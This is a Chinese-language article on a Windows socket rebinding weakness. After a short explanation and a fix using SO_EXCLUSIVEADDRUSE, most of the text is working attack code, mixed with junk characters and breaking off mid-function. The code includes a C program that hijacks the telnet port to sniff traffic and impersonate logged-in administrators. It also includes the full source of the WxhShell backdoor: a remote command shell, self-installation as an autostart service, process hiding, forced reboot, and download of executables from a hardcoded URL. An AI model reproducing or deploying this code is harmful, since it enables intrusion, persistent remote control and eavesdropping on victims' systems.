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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BwBv'p+n s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u8[X\f !EKF^n6 saddr.sin_family = AF_INET; 45-pJf8F ((?^B
saddr.sin_addr.s_addr = htonl(INADDR_ANY); Jn:GqO ,g\.C+.S bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zSq+#O1# zxsnrn;| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V25u'.'v TkQ05'Qc 这意味着什么?意味着可以进行如下的攻击: wL%> i.byHz?/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w93yhV? myJsRb5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4`*jF'N[ FNm8j#c~Q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'rCwPsI&4 ex29rL3 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 b9\=NdyCY 0c`wJktWK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u|w[b9^r Ig9$ PP+3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (sPZ1Fr\o Mv;7kC7] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I/'jRM r\em-%: #include m$$U%=r>@ #include 4ci
@$nL1 #include Xt$?Kx_, #include 9RAN$\AKy DWORD WINAPI ClientThread(LPVOID lpParam); >B3_P4pW9 int main() r?[Zf2& { &{7%VsTB WORD wVersionRequested; X+hyUz(%R DWORD ret; wt RAq/ WSADATA wsaData; b
~F85U2 BOOL val; _\u'~wWl SOCKADDR_IN saddr; G:A`
n;E0 SOCKADDR_IN scaddr; L-$GQGk{ int err; 2.2 s>?\ SOCKET s; /oh[Nu1D SOCKET sc; |*8 J.H*r int caddsize; 3ne=7Mj HANDLE mt; R|5w :+=z DWORD tid; =G*<WcR wVersionRequested = MAKEWORD( 2, 2 );
1vQ*Br err = WSAStartup( wVersionRequested, &wsaData ); O~igwFe if ( err != 0 ) { 0naegy?, printf("error!WSAStartup failed!\n"); J/
4kS<c return -1; ga!t:O@w } :5p`H saddr.sin_family = AF_INET; P PmE.%_ ](3=7!!J //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (?oK+,v?L *y u|]T saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lKwI lp saddr.sin_port = htons(23); 91[(K'=& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -R|v&h%T { ql^n=+U printf("error!socket failed!\n"); na>UFw7>* return -1; td{$c6 } 8*6U4R val = TRUE; kOeW,:&65 //SO_REUSEADDR选项就是可以实现端口重绑定的 9Yd<_B# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $M#G;W5c { ig jr=e printf("error!setsockopt failed!\n"); Un@d Wf6' return -1; Me2%X>; } kwWDGA?zFB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V+-%$-w> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kpLDK81I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PkMN@JS `l'z#\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0.=dOz r { bRfac/:} ret=GetLastError(); q\/ph(HF printf("error!bind failed!\n"); _-$(=`8|<{ return -1; V*}ft@GPD } 5$d>:" > listen(s,2); }k~ih?E^s while(1) 3c}@_Yn { jH({Qc,97 caddsize = sizeof(scaddr); Uyj6Ij_Pj) //接受连接请求 4hz T4!15 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e
^2n58 if(sc!=INVALID_SOCKET) +0_e a~{ { Uc^e Ia@ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <Z5-?wgf9 if(mt==NULL) &N:Iirg { u5;;s@{Ye4 printf("Thread Creat Failed!\n"); jmPnUn break; 2RG6m=Y8y } uGOED-@ } m Q4(<,F CloseHandle(mt); VddHK } f$ 9O0,}%O closesocket(s); n+MWny WSACleanup(); & %A&&XT9 return 0; `i`+yh>pc# } VK286[[fv DWORD WINAPI ClientThread(LPVOID lpParam) |W_;L6) { N,W ?} SOCKET ss = (SOCKET)lpParam; J/LsL
k SOCKET sc; 6~c#G{kc unsigned char buf[4096]; h?[|1.lJx( SOCKADDR_IN saddr; 17$'r^t,S long num; %5RR<[_/; DWORD val; ysapvQN_6 DWORD ret; P9`R~HO'` //如果是隐藏端口应用的话,可以在此处加一些判断 5EU~T.4C< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 v%:VV*MxF saddr.sin_family = AF_INET; 0FSN IPx saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c+D< saddr.sin_port = htons(23); 0vETg'r if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m<H{@ZgN( { Q2/65$nW printf("error!socket failed!\n"); p8Z?R^$9H return -1; .7]P-]uOZ } u
3^pQ6Q val = 100; *Nm$b+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _j+!Fd { o^XDG^35` ret = GetLastError(); 2n)?)w]!M return -1; * xCY^_ } ]{oZn5F if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I`zd:o] { W1 k]P. ret = GetLastError(); c/Xg ARCO return -1; q.p.$) } 3pg=9*{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <+k"3r{y" { Y=p!xr> printf("error!socket connect failed!\n"); J$Z=`=]t+ closesocket(sc); s3HVX' closesocket(ss); h%:rJ_#Zl return -1; V(_1q } l|=4FIMD while(1) lDTHK2f { T]\c2U //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Keozn*fzI //如果是嗅探内容的话,可以再此处进行内容分析和记录 C,An\lsT //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TG%B:^Yz! num = recv(ss,buf,4096,0); $#q`Y+;L2 if(num>0) 6Q^~O*cw send(sc,buf,num,0); ikW[lefTq else if(num==0) OvtE)ul@ break; L-T,[;bl num = recv(sc,buf,4096,0); 9<6q(]U if(num>0) ?@
F2Kv send(ss,buf,num,0); `
y\)X
C7 else if(num==0) 1@DC#2hPr break; 5J10S } Ot2o=^Ng closesocket(ss); <eoie6@3 closesocket(sc); aYWWln return 0 ; q`VL i } u=
NLR\ K]hp-QK< %GHGd'KO& ========================================================== "9wD|wsz uh)S;3| 下边附上一个代码,,WXhSHELL `7CK;NeT xG9Sk ========================================================== cJ;Nh>ey Rff F:,b #include "stdafx.h" rO'DT{Yt 0NXH449I= #include <stdio.h> Xw-[Sf]p #include <string.h>
<kak9
6A #include <windows.h> JE=t
e(a #include <winsock2.h> 1~5DIU^ #include <winsvc.h> n0xGIq #include <urlmon.h> Zh=arlk ,`@pi@<"# #pragma comment (lib, "Ws2_32.lib") 'X^auyL #pragma comment (lib, "urlmon.lib") d$zJLgkA |A8@r& #define MAX_USER 100 // 最大客户端连接数 ghk=` !yKw #define BUF_SOCK 200 // sock buffer O
G`8::S #define KEY_BUFF 255 // 输入 buffer p+VU:%.t .Pb-{!$Ni #define REBOOT 0 // 重启 @5Xo2}o-Q #define SHUTDOWN 1 // 关机 F (*B1J2_g tt"<1
z@ #define DEF_PORT 5000 // 监听端口 VdLoi\-/L }LzBo\ #define REG_LEN 16 // 注册表键长度 f"ZlJV a #define SVC_LEN 80 // NT服务名长度 z
p E| WYP ;s7_ // 从dll定义API 3k Ci5C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (}: s[cs typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H iyg1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !"rPSGK* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L, JQ\!c : T*Q2 // wxhshell配置信息 T(b9b,ov) struct WSCFG { kv+% int ws_port; // 监听端口 XYEwn_Y char ws_passstr[REG_LEN]; // 口令 uDf<D.+5Ze int ws_autoins; // 安装标记, 1=yes 0=no =BJe)!b char ws_regname[REG_LEN]; // 注册表键名 W(, j2pU char ws_svcname[REG_LEN]; // 服务名 ,eXtY}E char ws_svcdisp[SVC_LEN]; // 服务显示名 mk-{@$Q Jb char ws_svcdesc[SVC_LEN]; // 服务描述信息 p_FM 2K7! char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8Zv``t61 int ws_downexe; // 下载执行标记, 1=yes 0=no Z_d"<k}I char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 8bIP"!=*W char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [a=exK | f#wbw }; rQ;w{8J\t
5)[~
T2j! // default Wxhshell configuration f6Qr0Op struct WSCFG wscfg={DEF_PORT, ZN[<=w&(cB "xuhuanlingzhe", \br!77 1, Ey6R/M)?:y "Wxhshell", !l:GrT8J "Wxhshell", ;nY#/%f "WxhShell Service", =2Y;)wrF "Wrsky Windows CmdShell Service", Shn,JmR "Please Input Your Password: ", s|[>@~gXk 1, WK~H]w " http://www.wrsky.com/wxhshell.exe", hW^,' m "Wxhshell.exe" x7j#@C }; %)ho<z:7U K,b
M9>} // 消息定义模块 0-.
d{P char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ndmt$(b char *msg_ws_prompt="\n\r? for help\n\r#>"; Fn4v/)*H char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 04a
^jjc char *msg_ws_ext="\n\rExit."; aSL`yuXu char *msg_ws_end="\n\rQuit."; 1+l 8%G=hB char *msg_ws_boot="\n\rReboot..."; rIyH/=; char *msg_ws_poff="\n\rShutdown..."; Hbm 4oYN char *msg_ws_down="\n\rSave to "; _;lw,;ftA tFN >]`Z char *msg_ws_err="\n\rErr!"; dzVi ~wt_& char *msg_ws_ok="\n\rOK!"; U|^xr~q!f- $=aO*i char ExeFile[MAX_PATH]; g=*jKSZ int nUser = 0; 5&]5*;Bv J HANDLE handles[MAX_USER]; mH*ldf;J;= int OsIsNt; %,>z`D,Hg h
><Sp*z_V SERVICE_STATUS serviceStatus; E$8JrL SERVICE_STATUS_HANDLE hServiceStatusHandle; mxc)Wm<4 Q7%4 `_$! // 函数声明 b 2gng} int Install(void); h Yu6PWK int Uninstall(void); Z;0~f<e%
int DownloadFile(char *sURL, SOCKET wsh); X{9^$/XsJ int Boot(int flag); q
z)2a2C void HideProc(void); a#oROb-*~ int GetOsVer(void); #&3,T1i` int Wxhshell(SOCKET wsl); rp Nb. void TalkWithClient(void *cs); .`or^`X3 int CmdShell(SOCKET sock); [ks_wvY:' int StartFromService(void); y^.66BH int StartWxhshell(LPSTR lpCmdLine); *}[\%u$ T ;>6< u.N VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wxN)dB VOID WINAPI NTServiceHandler( DWORD fdwControl ); GES}o9?# rxY|&!f // 数据结构和表定义 _Q V=3UWP SERVICE_TABLE_ENTRY DispatchTable[] = Di9RRHn&q { j=\h|^gA {wscfg.ws_svcname, NTServiceMain}, WI8}_){ d {NULL, NULL} 9zaNfs }; nt.LiM/L $d?+\r:I{, // 自我安装 6].[z+ int Install(void) MP]<m7669* { =BJLj0=N char svExeFile[MAX_PATH]; %sa?/pjK HKEY key; j"W>fC/u strcpy(svExeFile,ExeFile); +UzQJt/>> W4^L_p>Tm^ // 如果是win9x系统,修改注册表设为自启动 !MbzFs~ if(!OsIsNt) { qxL\G &~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7qKz_O RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !_I1=yi RegCloseKey(key); )^(*B6;z5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bcIae0LZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iL/c^(1 RegCloseKey(key); UG| /Px ] return 0; SZ` 7t=I2 } ]a3$hAcj6" } AFLtgoXn: } ?K1B^M=8 else { cNll??j `oRyw6Sko // 如果是NT以上系统,安装为系统服务 3?OQ-7, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sXLW';Fz if (schSCManager!=0) >.:+|Br` { n@p]v* SC_HANDLE schService = CreateService =SDex.ZK] ( 7h'
C"rH schSCManager, ^2+Ex+ wscfg.ws_svcname, UQVL)-Z wscfg.ws_svcdisp,
:e1h!G SERVICE_ALL_ACCESS, pEyZH!W SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I&PJ[U#~a SERVICE_AUTO_START, )f8>kz( SERVICE_ERROR_NORMAL, h]7_
N, svExeFile, c:Ua\$)u3, NULL, h>Kx NULL, 1"
'3/MFQ8 NULL, Ple.fKu NULL, n ]%2Kx NULL B|`?hw@g+ ); |x[I!I7.F if (schService!=0) X><C#G { 8$FH;= CloseServiceHandle(schService); n Ja!&G& CloseServiceHandle(schSCManager); r6<;bO( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S
?Zh#`(* strcat(svExeFile,wscfg.ws_svcname); s{^98* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }U]jy RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {i;,Io7W RegCloseKey(key); 5"%.8P return 0; q<RjAi } )\wkVAm } PgtLyzc CloseServiceHandle(schSCManager); Ku5||u.F4* } X'A`"}=_ } lg^'/8^f r[9m-#)> return 1; X4 !93 } UB~K/r`.| e02Hf{eOfw // 自我卸载 Ae5A@4 int Uninstall(void) 4KPnV+h"b { O>`k@X@9/ HKEY key; kUBE+a6# ?<Qbp;WBo if(!OsIsNt) { q ` S
~w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y:*% [\R RegDeleteValue(key,wscfg.ws_regname); ~ !uX"F8Xl RegCloseKey(key); `$a!CJu, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rzY)vC+ZT RegDeleteValue(key,wscfg.ws_regname); aIgexi, RegCloseKey(key); =%_=!% return 0; 0nc(2Bi } &YFe"C } >N&{DJmD } #.8v[TkKq else { lKbWQ> fECV\Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j26i+Z if (schSCManager!=0) +!).' { \((MoQ9Qk SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =By@%ioIGG if (schService!=0) n"iS[uj, { *%uz LW0 if(DeleteService(schService)!=0) { U~
X CloseServiceHandle(schService); E}wT5t;u CloseServiceHandle(schSCManager); C-pR$WM:HN return 0; \g0vzo"u } 9.)z]Gav CloseServiceHandle(schService); zC50 @S3| } ~EtGR #
N CloseServiceHandle(schSCManager); v^A+LZ*d
} QQ?t^ptv } z+Xr2B fY]"_P return 1; k(H&Af+ } AKk=XAG W he|Q(? // 从指定url下载文件 Bzz|2/1y int DownloadFile(char *sURL, SOCKET wsh) e'b*_Ps' { F .S^KK HRESULT hr; F:/x7]7??Z char seps[]= "/"; ?NBae\6r char *token; !7t&d char *file; bQD8#Ml1 char myURL[MAX_PATH]; [G 9Pb) char myFILE[MAX_PATH]; x'EEmjJ Jm!,=}oP' strcpy(myURL,sURL); ?HG[N7=j token=strtok(myURL,seps); Wvl~|Sx] while(token!=NULL) [aSuEu?mC { @x `X|>& file=token; %??v?M* token=strtok(NULL,seps); Gf8 ^nfr } 2:
QT`e& MKbcJZe GetCurrentDirectory(MAX_PATH,myFILE); *+v*VH strcat(myFILE, "\\"); I<}% L
V strcat(myFILE, file); lIyMNw send(wsh,myFILE,strlen(myFILE),0); 9L$OSy| send(wsh,"...",3,0); xLed];2G hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %P}H3;2 if(hr==S_OK) %OoH<\w
w
return 0; k A=5Kc else kq| !{_ return 1;
G#[A'tbKk *iB&tWv } eb7UA=[Z 3cHYe // 系统电源模块 y`9#zYgqA int Boot(int flag) zS:2?VXxq { $WIE`P% HANDLE hToken; (IV\sY TOKEN_PRIVILEGES tkp; NL]_;\ h K/9Jx(I,qL if(OsIsNt) { Cl'$*h OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]QlW{J LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *I :c@iCNJ tkp.PrivilegeCount = 1; 7V%P tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qu^g~"s AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #^$_/Q#C if(flag==REBOOT) { ]RAh['u| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1IoW}yT return 0; _1[Wv? } A~xw:[zy$a else { DpggZ|J if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )bM,>x return 0; KBM*7raA } N3$1f$` } 3li$)S1z else { CUJq [ if(flag==REBOOT) { 6y!U68L;B if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )W= O~g return 0; _-BP?'lN } lU
62$2 else { uxyj6( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7c"Csq/]I return 0; R'sNMWM } .@): Uh } J4ZHE\ j7)mC4o:% return 1; %%ouf06.| } (Yz[SK=U} a0hBF4+6 // win9x进程隐藏模块 Sm<*TH!\n_ void HideProc(void) e1g3a1tnWl { /4O))}TX WowT!0$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $y6 <2w%b if ( hKernel != NULL ) U;/2\Ii { QM8Ic,QFvo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WOZuFS13 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %|e)s_%XE FreeLibrary(hKernel); -E1-(TS } nrY)i_\ mhVLlbY|t return; :%&
E58 } -TVwoK I;Mm +5A // 获取操作系统版本 \dJhDR int GetOsVer(void) T; tY7;< { N& OSVERSIONINFO winfo; 7;|"1H:cmw winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); keC'/\e GetVersionEx(&winfo); YzjRD: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pl%!AY'oE> return 1; |kK5:\H else mt+i0PIfj return 0; Ho&:Zs } f2[R2sto@ q{`1[R // 客户端句柄模块 M?YNK] int Wxhshell(SOCKET wsl) 5IUdA? { KANR=G SOCKET wsh; hlL$3.] struct sockaddr_in client; FkrXM!mJ DWORD myID; h,FU5iK| +rU{-`dy9' while(nUser<MAX_USER) IDn<5# { ;4!H- qZ int nSize=sizeof(client); Ea
S[W?u} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2!0tD+B
if(wsh==INVALID_SOCKET) return 1; ^+Nd\tp \t)va:y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )YgntI@ if(handles[nUser]==0) [L X/O@ closesocket(wsh); zoi0Z else ke8g tbm nUser++; -XXsob}/8 } .KKecdd?= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r QiRhp
MJch
Z return 0; 9V1d`]tP } #WZat
?-N {!D(3~MI // 关闭 socket
j7ZxA* void CloseIt(SOCKET wsh) _|US`,kfc { 5H.~pc2y closesocket(wsh); hy~[7:/<I& nUser--; %IBT85{ ExitThread(0); _U&HXQ8X } UB5H8&Rf! aC`>~uX##V // 客户端请求句柄 k*?T^<c3 void TalkWithClient(void *cs) D&pn@6bB { @Pk<3.S0 n[0u&m8 SOCKET wsh=(SOCKET)cs; ;>mM9^Jaf char pwd[SVC_LEN]; (
jU $ char cmd[KEY_BUFF]; ymxA<bICS8 char chr[1]; BW)-F (v int i,j; 1s(T#jh g
ptf*^s while (nUser < MAX_USER) { eMnK@J T`wDdqWbEG if(wscfg.ws_passstr) { QNOdt 2NN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vY_[@y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `2]0 X#R //ZeroMemory(pwd,KEY_BUFF); pk9Ics;y i=0; KGM__Z O. while(i<SVC_LEN) { N<i5X.X SbGdcCB // 设置超时 yn}Dj9(q fd_set FdRead; H;4QuB'^ struct timeval TimeOut; ,B'=$PO% FD_ZERO(&FdRead); y:98}gW`n FD_SET(wsh,&FdRead); AC1RP`c TimeOut.tv_sec=8; K7`6G[RMb TimeOut.tv_usec=0; (a#gCG\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %<-OdyM if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .2c/V I+H~ 5zq. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sR1_L/. pwd =chr[0]; N-QS/*C.~ if(chr[0]==0xd || chr[0]==0xa) { Qpv#&nfUi6 pwd=0; B zS4:e< break; E;CM"Y* } qZ^
PC- i++; 0\:=KIY. } x7/Vf,N Oe;#q // 如果是非法用户,关闭 socket w"?Q0bhV9y if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 86)2\uan } ~g/"p`2-N A9b(P[!]T: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |&8XmexLb send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K1hkOj;S +o`%7r(R while(1) { E#+2)Q RJ@79L*# ZeroMemory(cmd,KEY_BUFF); ?)-6~p 4N Mc.{I"c@ // 自动支持客户端 telnet标准 |gI>Sp%Fu j=0; pFS@yHs while(j<KEY_BUFF) { Uo >aQk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pL1ABvBB cmd[j]=chr[0]; f;^ +q-Q if(chr[0]==0xa || chr[0]==0xd) { _ +DL cmd[j]=0; FzX ;~CA break; >[aR8J/U } ^g*Sy, A j++; ={%'tv` } )iw-l~y; _jG|kjFTc // 下载文件 A#cFO)" if(strstr(cmd,"http://")) { i'li;xUhZ send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bza<.E= if(DownloadFile(cmd,wsh)) >
pb}@\;: send(wsh,msg_ws_err,strlen(msg_ws_err),0); y!gPBkG&3n else xR0*w7YE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e-y$&[
} YCiG~y/~ else { T;(,9>Qsu 76rv$z{g^ switch(cmd[0]) { X1(ds*'Kv Gt#r$.]W?o // 帮助 (G>su case '?': { HNS^:XR send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P}8hK break; %>Gb]dv? } :4V5p
=v- // 安装 9<?w9D.1 case 'i': { HSNj if(Install()) ;SU<T^a send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?h4[yp=w else %cn1d>M+I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6"G(Iq'2t3 break; f4 S:L& } xcw:H&\w6 // 卸载 Oh1U=V2~ case 'r': { ]7_>l> if(Uninstall()) Hj>9 #>b send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y9X,2L7V else E>QS^)ih send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S|tA%2z break; k*;U?C! } 5%2~/
" // 显示 wxhshell 所在路径 HDKF>S_S case 'p': { mbbhz, char svExeFile[MAX_PATH]; 5V/&4$.U! strcpy(svExeFile,"\n\r"); Z0Sqw strcat(svExeFile,ExeFile); gS<p~LPf send(wsh,svExeFile,strlen(svExeFile),0); t RU/[?! break; >97YK = } CbM~\6R // 重启 esTL3 l{[ case 'b': { t#P7'9Se8 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |.Vgk8oTl if(Boot(REBOOT)) v];YC6shx send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8i]
S[$Fc else { (Z>?\iNJ closesocket(wsh); F'[Y.tA ,# ExitThread(0); aQ(P#n>a2 } d3rjj4N"z break; aU;X&g+_) } _UTN4z2aTG // 关机
dHx4yFS case 'd': { [xM&Jdf8 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R-zS7Jyox if(Boot(SHUTDOWN)) ,Dv*<La`\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); \uHC 9}0 else { Ag0
6M U closesocket(wsh); #@HlnF}T ExitThread(0); u|wl;+. } /95z1e break; !QVhP+l'H } ).jQ+XE'> // 获取shell !:\0}w$- case 's': { 4Mg%}/cC CmdShell(wsh); $)*qoV closesocket(wsh); } OIe! ExitThread(0); ?cWwt~N9 break; tF,`v{-up } -_9*BvS]R // 退出 3L==p`
case 'x': { b&yuy send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8OOAPp$%| CloseIt(wsh); s2,6aW C break; D6lzcf } !)oQ9,N // 离开 ^"<Bk<b( case 'q': { DC).p'0VL send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2<UC^vZ closesocket(wsh); =A,T:!}' WSACleanup(); O+mEE>:w% exit(1); /
:.I&^>P break; ;rL>{UhG } ?;Sg,.J } #7 H0I8 } }0<2n~3P =C$"e4%Be // 提示信息 d1.@v; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lmcgOTT): } mN{H^ } zfDfy!\2_ el$@^Wy&$ return; ZL0Vx6Ph } 38-kl,Vw Ge=6l0 // shell模块句柄 U4dfO= int CmdShell(SOCKET sock) *?Wz/OJ0 { ~h<T0Zc STARTUPINFO si; p/0dtnXa( ZeroMemory(&si,sizeof(si)); sE]z.Po= si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T] H'l si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8)iI=,T* PROCESS_INFORMATION ProcessInfo; zytW3sTZA char cmdline[]="cmd"; GBZ u<t/ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T*B`8P return 0; 'S}3lsIE } hB<(~L?A] ghW`xm87 // 自身启动模式 _)pOkS int StartFromService(void) *eXs7 "H { fif'ptK typedef struct a'HHUii= { <~ay4JY DWORD ExitStatus; U43U2/^ DWORD PebBaseAddress; t^Bs3;E^ DWORD AffinityMask; roriNr/e DWORD BasePriority; HqqMX`Rof ULONG UniqueProcessId; ,b^jAzow ULONG InheritedFromUniqueProcessId; 30w(uF } PROCESS_BASIC_INFORMATION; -h|[8UG^b |4BD PROCNTQSIP NtQueryInformationProcess; oJ5n*[qUI %! Sjbh static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lhE]KdE3 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "}0QxogYE l(QntP HANDLE hProcess; (i{ZxWW& PROCESS_BASIC_INFORMATION pbi; WUYU\J&q3 !j #8zN HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u*\QVOF if(NULL == hInst ) return 0; dw}ge,bBic Tl"r# 